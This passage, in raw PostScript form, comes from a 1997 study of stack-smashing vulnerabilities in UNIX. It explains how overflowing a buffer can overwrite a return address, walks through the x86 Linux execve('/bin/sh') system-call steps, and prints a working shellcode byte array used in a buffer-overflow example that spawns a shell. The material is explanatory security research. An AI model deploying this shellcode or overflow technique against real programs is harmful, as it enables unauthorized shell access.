solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 4170 2616 N M 0 1948 - 12 Lw solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 2768 2618 N M 1404 0 - 12 Lw solid 0 0 0 sco K ; 2768 4564 N M 1404 0 - 12 Lw solid 0 0 0 sco K : 3236 3880 552 102 rc 0 0 0 sco F4_84 Ji 3236 3880 M -0.400 0 (buffer[16])A ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3368 M -0.151 0 (keeping this study as generic as possible, )A ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 2272 3378 M (/bin/sh)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2692 3368 M -0.008 0 ( is assumed.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3548 M -2.300 0 (I)A (n o)S -0.300 0 (r)A (d)S -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 1.000 0 32 (o )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A (n)S -1.000 0 (g)A 1.400 0 32 -0.400 0 (e a)D 1.000 0 32 (n )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.800 0 32 0.200 0 (ll )D 0.100 0 (s)A 0.200 0 (it)A (u)S -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on, )W 1.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 1.400 0 32 -0.400 0 (c )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 3166 3558 M (/bin/sh)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3586 3548 M 1.000 0 32 ( )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 1.000 0 32 (on )W 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3728 M 0.200 0 (m)A (u)S 0.100 0 (s)A 10.800 0 32 0.200 0 (t )D -0.400 0 (a)A (pp)S -0.400 0 (ea)A 11.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A -0.200 0 (w)A (h)S -0.400 0 (e)A -0.300 0 (r)A 11.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 11.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 14.000 0 32 -3.000 0 (y )D 0.100 0 (s)A 11.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (a)A 10.800 0 32 0.200 0 (t )D 11.400 0 32 -0.400 0 (a )D 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 11.000 0 32 (d )W -0.300 0 (\221r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 11.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 11.300 0 32 -0.300 0 (\222 )D -0.400 0 (ca)A 11.000 0 32 (n po)W 0.200 0 (i)A (n)S 11.800 0 32 0.200 0 (t t)D 12.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3905 M 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 18.000 0 32 (on. )W -0.100 0 (T)A (h)S 0.200 0 (i)A 17.900 0 32 0.100 0 (s )D 0.200 0 (i)A 17.900 0 32 0.100 0 (s )D -0.400 0 (acc)A (o)S 0.200 0 (m)A (p)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 19.000 0 32 (d b)W 22.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 19.000 0 32 (n )W -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 22.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 19.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A (d)S -0.400 0 (ec)A 0.200 0 (im)A -0.400 0 (a)A 18.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D (o)S 19.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4082 M (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 29.000 0 32 -3.000 0 (y )D -0.400 0 (e)A (qu)S 0.200 0 (i)A (v)S -0.400 0 (a)A 0.200 0 (l)A -0.400 0 (e)A (n)S 26.800 0 32 0.200 0 (t t)D 27.000 0 32 (o )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 27.000 0 32 (d )W 26.700 0 32 0.300 0 (C )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 27.000 0 32 (on )W -0.400 0 (ca)A 26.800 0 32 0.200 0 (ll: )D ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 2805 4092 M 27.000 0 32 (execve\(name[0], "/bin/sh",)W ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 612 4272 M (NULL\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4262 M 50.000 0 32 (. )W 51.000 0 32 ( )W -0.200 0 (A)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 54.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 51.400 0 32 -0.400 0 (e e)D (qu)S 0.200 0 (i)A (v)S -0.400 0 (a)A 0.200 0 (l)A -0.400 0 (e)A (n)S 0.200 0 (t)A 50.900 0 32 0.100 0 (s )D 0.200 0 (t)A 51.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 50.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 50.800 0 32 0.200 0 (ll )D -0.400 0 (a)A -0.300 0 (r)A 51.400 0 32 -0.400 0 (e )D (h)S -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 51.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4442 M (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A (nd)S -0.400 0 (e)A (n)S 0.200 0 (t)A ; : 949 4426 3934 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 1022 4426 M 0.500 0 (10)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1090 4442 M 49.000 0 32 (. )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 50.000 0 32 -1.000 0 (g )D (d)S -0.400 0 (e)A (bu)S -1.000 0 (gg)A 0.200 0 (i)A (n)S 50.000 0 32 -1.000 0 (g )D (u)S 0.200 0 (tiliti)A -0.400 0 (e)A 0.100 0 (s)A 49.000 0 32 (, )W 48.800 0 32 0.200 0 (it i)D 48.900 0 32 0.100 0 (s )D (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 49.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 49.000 0 32 (o d)W 0.200 0 (i)A 0.100 0 (ss)A -0.400 0 (ec)A 48.800 0 32 0.200 0 (t )D 50.400 0 32 -0.400 0 (a ca)D 49.800 0 32 0.200 0 (ll )D 0.100 0 (s)A (u)S -0.400 0 (c)A 50.000 0 32 (h )W -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F8_100 Ji 612 4629 M 25.000 0 32 (execve\(name[0], "/bin/sh", NULL\) )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2667 4619 M (b)S 28.000 0 32 -3.000 0 (y )D (b)S -0.300 0 (r)A -0.400 0 (ea)A (k)S 0.200 0 (i)A (n)S 27.000 0 32 -1.000 0 (g )D 25.800 0 32 0.200 0 (it )D (do)S -0.200 0 (w)A 26.000 0 32 (n )W 0.200 0 (t)A 26.000 0 32 (o )W 26.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 26.400 0 32 -0.400 0 (e )D -0.200 0 (A)A 0.400 0 (S)A 0.300 0 (C)A -2.300 0 (II)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4799 M -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 3.000 0 32 -3.000 0 (y )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A (, )S -0.400 0 (a)A (nd )S 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D -0.200 0 32 0.200 0 (it i)D (n )S 0.400 0 32 -0.400 0 (a c)D (h)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (t)A -0.400 0 (e)A 0.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A 3.000 0 32 -3.000 0 (y )D (o)S 0.300 0 32 -0.300 0 (r )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 0.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (on)S 0.200 0 (ti)A -1.000 0 (g)A (uou)S -0.100 0 32 0.100 0 (s )D (d)S -0.400 0 (a)A 0.200 0 (t)A 0.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A (. )S -0.200 0 (O)A (n )S -0.400 0 (a)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4976 M -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 13.800 0 32 0.200 0 (l )D 1.000 0 (x)A 14.000 0 32 (86 )W 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A 14.000 0 32 (, )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (i)A 13.900 0 32 0.100 0 (s )D 14.400 0 32 -0.400 0 (a )D 0.200 0 (li)A 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D (o)S 14.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A (p)S 14.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A -0.400 0 (e)A 15.000 0 32 (d )W 0.200 0 (i)A 15.000 0 32 (n )W -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A (u)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5153 M 0.100 0 (code[1]:)A ; : 522 5586 2880 94 rc 0 0 0 sco F2_83 Ji 612 5586 M 0.250 0 ( )A ; : 1152 5586 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5586 M 0.250 0 ( )A ; 612 5639 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5682 M (10)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5687 M 0.232 0 ( Examples of shell code for many popular UNIX systems, see appendix A)A ; LH savelevel1 restore pagesave restore (%%[ Page: 17 ]%%) = %%PageTrailer %%Page: 18 18 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (18)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_92) cvn F2 92 xF F2_92 Ji 612 504 M (1. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 504 M 0.101 0 (The null terminated string )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F5_83) cvn F5 83 xF F5_83 Ji 1746 521 M 0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2096 504 M -0.098 0 ( exists somewhere in memory.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 613 M (2. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 613 M 0.131 0 (The address of the string )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1698 630 M 0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2048 613 M -0.043 0 ( exists somewhere in memory followed by a null long word.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 722 M (3. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 762 739 M 0.200 0 (0xb)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 912 722 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco (F5_92) cvn F5 92 xF F5_92 Ji 1592 730 M -0.200 0 (EAX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1757 722 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 833 M (4. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 833 M 0.131 0 (The address of the string )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 1698 841 M -0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2083 833 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 2763 841 M -0.200 0 (EBX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2928 833 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 944 M (5. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 944 M 0.131 0 (The address of the string )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1698 961 M 0.200 0 (/bin/sh)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2048 944 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 2728 952 M -0.200 0 (ECX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2893 944 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1055 M (6. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 1055 M 0.113 0 (The address of the null long word is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_92 Ji 2687 1063 M -0.200 0 (EDX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 2852 1055 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1166 M (7. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 1166 M 0.235 0 (The )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 929 1183 M 0.200 0 (int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1379 1166 M 0.109 0 ( instruction is executed, a standard Intel CPU interrupt)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1283 M (8. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 762 1300 M 0.200 0 (0x1 )A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 962 1275 M -0.030 0 (is copied )A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1345 1283 M 0.158 0 (into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1648 1300 M 0.200 0 (EAX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1798 1283 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1393 M (9. )S 35.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 762 1410 M 0.200 0 (0x0)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 912 1393 M 0.139 0 ( is copied into the )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1592 1410 M 0.200 0 (EBX)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1742 1393 M 0.109 0 ( register.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 612 1502 M (10. )S -11.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 762 1502 M 0.235 0 (The )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 929 1519 M 0.200 0 (int $0x80)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_92 Ji 1379 1502 M 0.107 0 ( instruction is executed, a standard Intel CPU interrupt.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1773 M -0.139 0 (This listing can be reduced to x86 actual shell code in a standard ANSI C character array:)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_75) cvn F2 75 xF F2_75 Ji 1477 2403 M 0.006 0 ( Example 9.a - )A ; : 0 0 4883 6391 rc 0 0 0 sco (F5_75) cvn F5 75 xF F5_75 Ji 1952 2411 M (/bin/sh assembly execution sequence)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2583 M -0.068 0 (The shell code and buffer overflow examples are combined in the following example:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_75 Ji 1349 4503 M 0.043 0 (Example 9.b - )A ; : 0 0 4883 6391 rc 0 0 0 sco F5_75 Ji 1810 4511 M (buffer overflow with shell code execution)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4702 M -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 6.400 0 32 -0.400 0 (ce c)D (od)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 6.000 0 32 (n )W -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 6.400 0 32 -0.400 0 (e )D (9.)S -0.400 0 (a)A 5.800 0 32 0.200 0 (; )D -0.600 0 (F)A 0.200 0 (i)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (t)A 6.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2757 4727 M 0.200 0 (large_string)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3357 4702 M 6.000 0 32 ( )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D -0.300 0 (f)A 0.200 0 (ill)A -0.400 0 (e)A 7.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 7.000 0 32 (h )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e a)D (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4879 M (o)S 7.300 0 32 -0.300 0 (f )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 727 4904 M 0.200 0 (buffer)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1027 4879 M 7.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 7.000 0 32 (h po)W 0.200 0 (i)A (n)S 0.200 0 (t)A 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A 8.000 0 32 (o )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (u)S 0.200 0 (t)A (u)S -0.300 0 (r)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 8.000 0 32 (on o)W 8.300 0 32 -0.300 0 (f )D (ou)S 8.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 7.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 8.000 0 32 (. )W 0.400 0 (S)A -0.400 0 (ec)A (ond,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5056 M 0.200 0 (t)A (h)S 21.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 21.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 22.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 21.900 0 32 0.100 0 (s )D -0.400 0 (c)A (op)S 0.200 0 (i)A -0.400 0 (e)A 22.000 0 32 (d )W 0.200 0 (i)A (n)S 0.200 0 (t)A 22.000 0 32 (o )W 0.200 0 (t)A (h)S 22.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A (nn)S 0.200 0 (i)A (n)S 23.000 0 32 -1.000 0 (g )D (o)S 22.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 22.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2794 5081 M 0.200 0 (large_string)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3394 5056 M 22.000 0 32 ( )W -0.400 0 (c)A (h)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (t)A -0.400 0 (e)A 22.300 0 32 -0.300 0 (r )D -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 22.000 0 32 (. )W -0.200 0 (N)A -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (t)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 612 5258 M 0.200 0 (strcpy\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco (F5_100) cvn F5 100 xF F5_100 Ji 1012 5243 M 7.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1079 5233 M -0.400 0 (c)A (op)S 0.200 0 (i)A -0.400 0 (e)A 6.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1366 5258 M 0.200 0 (large_string)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1966 5233 M 7.000 0 32 ( on)W 0.200 0 (t)A 7.000 0 32 (o )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2208 5258 M 0.200 0 (buffer)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2508 5249 M 7.250 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2536 5233 M (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 8.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 8.000 0 32 (, ov)W -0.400 0 (e)A -0.300 0 (r)A -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 9.000 0 32 -1.000 0 (g )D 0.200 0 (it)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5410 M -0.200 0 (w)A 0.200 0 (it)A 13.000 0 32 (h )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e a)D (dd)S -0.300 0 (r)A -0.400 0 (e)A 12.900 0 32 0.100 0 (ss )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 13.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 14.000 0 32 (. )W 0.600 0 (W)A (h)S -0.400 0 (e)A 14.000 0 32 (n )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 2968 5435 M 0.200 0 (main\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3268 5410 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 14.000 0 32 (on )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 14.000 0 32 (, )W -0.400 0 (c)A (on)S 0.200 0 (t)A -0.300 0 (r)A (o)S 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5587 M -0.064 0 (jumps to our shell code sequence, and returns an interactive shell.)A ; 586 2017 N M 6 6 rr : 0 0 0 sco O ; 586 2017 N M 6 6 rr : 0 0 0 sco O ; 592 2017 N M 3820 6 rr : 0 0 0 sco O ; 4412 2017 N M 6 6 rr : 0 0 0 sco O ; 4412 2017 N M 6 6 rr : 0 0 0 sco O ; 586 2023 N M 6 79 rr : 0 0 0 sco O ; 4412 2023 N M 6 79 rr : 0 0 0 sco O ; : 511 2017 3982 383 rc 0 0 0 sco (F5_67) cvn F5 67 xF F5_67 Ji 612 2102 M -0.200 0 (char shellcode[] =)A ; : 511 2017 3982 383 rc 0 0 0 sco F5_67 Ji 1512 2102 M -0.200 0 ("\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b")A ; 586 2102 N M 6 71 rr : 0 0 0 sco O ; 4412 2102 N M 6 71 rr : 0 0 0 sco O ; : 511 2017 3982 383 rc 0 0 0 sco F5_67 Ji 1512 2173 M -0.200 0 ("\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd")A ; 586 2173 N M 6 71 rr : 0 0 0 sco O ; 4412 2173 N M 6 71 rr : 0 0 0 sco O ; : 511 2017 3982 383 rc 0 0 0 sco F5_67 Ji 1512 2244 M -0.200 0 ("\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";)A ; 586 2244 